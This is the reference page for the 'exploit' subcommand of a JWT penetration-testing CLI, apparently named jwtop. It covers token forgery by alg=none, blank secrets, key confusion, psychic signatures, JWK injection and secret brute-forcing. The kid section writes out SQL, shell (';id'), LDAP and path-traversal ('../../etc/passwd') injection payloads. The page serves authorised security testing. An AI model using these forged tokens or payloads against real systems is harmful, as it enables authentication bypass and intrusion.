exploit

Apply a JWT security exploit to an existing token and print the modified token to stdout. Each subcommand implements one exploit independently.

Attention

Use only against systems you own or have explicit written permission to test.

Usage

jwtop exploit <subcommand> <token> [flags]

Every subcommand also reads <token> from stdin when it is omitted, e.g. jwtop find --file page.html | jwtop exploit algnone.

Subcommands

Subcommand	Description
algnone	Set alg=none and strip the signature
blanksecret	Re-sign with an empty HMAC secret
nullsig	Strip the signature while keeping the original alg
hmacconfusion	Re-sign with a public key as HMAC secret (RS/ES → HS)
psychicsig	Re-sign with an all-zero ECDSA signature (r=0, s=0)
kidinjection	Inject a value into the kid header
jwkinjection	Embed a self-signed JWK in the header and re-sign (CVE-2018-0114)
weaksecret	Brute-force the HMAC signing secret

---

algnone

Set alg=none and strip the signature. Use --all to emit one token per capitalisation variant (none, NONE, None, nOnE) to cover libraries that perform case-insensitive algorithm matching.

jwtop exploit algnone <token>
jwtop exploit algnone --all <token>

Flag	Description
--all	Print one token per capitalisation variant of "none"

---

blanksecret

Re-sign the token with an empty string as the HMAC secret. A server that accepts this token is configured with a blank signing key.

jwtop exploit blanksecret <token>

---

nullsig

Strip the signature segment while leaving the alg header unchanged. The resulting token has the form header.payload. (trailing dot, empty signature).

jwtop exploit nullsig <token>

---

hmacconfusion

Re-sign an RSA or ECDSA token as its HMAC equivalent, using the server’s public key PEM as the HMAC secret. Exploits servers that verify HS256 tokens using their RSA/EC public key.

Algorithm mapping (same bit-strength):

Original	Exploited
RS256 / ES256 / PS256	HS256
RS384 / ES384 / PS384	HS384
RS512 / ES512 / PS512	HS512

jwtop exploit hmacconfusion <token> --key <pem-file-or-url>

Flag	Description
--key	Path or URL to a PEM public key file (required)

---

psychicsig

Re-sign an ECDSA token (ES256, ES384, or ES512) with an all-zero r=0, s=0 signature, sized for the token’s declared algorithm. Exploits CVE-2022-21449 (“psychic signatures in Java”), where some ECDSA verifiers (notably Java 15-18’s SunEC provider) failed to reject r=0/s=0, accepting the token as validly signed for any message and any public key.

jwtop exploit psychicsig <token>

---

kidinjection

Manipulate the kid header field and re-sign the token.

jwtop exploit kidinjection <token> [--mode <mode>] [--kid <value>] [--secret <secret>] [--all]

Flag	Description
--mode	sql, path, command, ldap, or raw (default sql)
--kid	Override the kid value (overrides the mode default)
--sql-table	Table name for sql mode payload (default tokens)
--path	File path for path mode payload (default /dev/null)
--secret	HMAC secret to sign with (overrides the mode default)
--all	With command or ldap mode, print one token per known payload variant

Modes:

Mode	Default kid	Default secret	Description
sql	' UNION SELECT 'secret' FROM <table> WHERE '1'='1	secret	SQL injection — makes a SELECT return an attacker-controlled value
path	/dev/null	(empty)	Path traversal to an empty file
command	; id	(empty)	Shell metacharacter payload — targets servers that shell out using kid to locate a key file
ldap	`)(uid=))(	(uid=*`	(empty)
raw	(required via --kid)	(empty)	Arbitrary value

Examples:

# SQL injection (default table: tokens)
jwtop exploit kidinjection --mode sql $TOKEN

# SQL injection targeting a custom table
jwtop exploit kidinjection --mode sql --sql-table keys $TOKEN

# Path traversal (default path: /dev/null)
jwtop exploit kidinjection --mode path $TOKEN

# Path traversal with a custom path
jwtop exploit kidinjection --mode path --path /proc/sys/kernel/ns_last_pid $TOKEN

# Command injection (default payload: "; id")
jwtop exploit kidinjection --mode command $TOKEN

# Command injection — one token per known shell payload variant
jwtop exploit kidinjection --mode command --all $TOKEN

# LDAP injection (default payload)
jwtop exploit kidinjection --mode ldap $TOKEN

# LDAP injection — one token per known LDAP payload variant
jwtop exploit kidinjection --mode ldap --all $TOKEN

# Arbitrary kid value
jwtop exploit kidinjection --mode raw --kid "../../etc/passwd" --secret "" $TOKEN

---

jwkinjection

Generate a self-signed RSA/ECDSA key pair, embed its public key directly in the token’s jwk header field, and re-sign with the matching private key. Exploits CVE-2018-0114, where some JWT libraries trusted an embedded jwk instead of validating against a known keyset.

jwtop exploit jwkinjection <token> [--alg <alg>] [--key <pem-file-or-url>]

Flag	Description
--alg	Signing algorithm for the generated key pair (default RS256)
--key	Path or URL to a PEM private key file — re-signs with this key instead of generating a new one

Examples:

# Generate a new RS256 key pair (default)
jwtop exploit jwkinjection $TOKEN

# Generate a new ES256 key pair
jwtop exploit jwkinjection $TOKEN --alg ES256

# Re-sign with an existing private key
jwtop exploit jwkinjection $TOKEN --key /path/to/private.pem

---

weaksecret

Dictionary-attack the HMAC signing secret of an HS256/HS384/HS512 token. The built-in wordlist is tried first, then any --wordlist file, then any explicit --secret values.

jwtop exploit weaksecret <token> [--wordlist <file>] [--secret <s>...] [--workers <n>]

Flag	Description
--wordlist	Path to a newline-delimited file of candidate secrets
--secret	Explicit candidate secret (repeatable)
--workers	Number of concurrent workers (default 8)
--john	Fall back to the external john tool if the built-in attack doesn’t find the secret
--john-path	Path to the john binary — passing this implies --john
--hashcat	Fall back to the external hashcat tool if the built-in attack doesn’t find the secret
--hashcat-path	Path to the hashcat binary — passing this implies --hashcat
--crack-timeout	Max time to let john/hashcat run before stopping them (default 5m)

--john/--hashcat are optional, off by default, and behave exactly as in crack: auto-detected with a stderr advisory when available but unused, a timeout warning if they don’t finish in time, and unusable inside the published Docker image. See that page for install instructions.

Examples:

# Use the built-in dictionary
jwtop exploit weaksecret $TOKEN

# Add explicit guesses on top of the built-in dictionary
jwtop exploit weaksecret $TOKEN --secret mysecret --secret topsecret

# Use a custom wordlist
jwtop exploit weaksecret $TOKEN --wordlist /path/to/secrets.txt

# Fall back to hashcat on a large wordlist
jwtop exploit weaksecret $TOKEN --wordlist /path/to/rockyou.txt --hashcat

Prints the recovered secret to stdout (exit 0) when found; exits 1 when not found.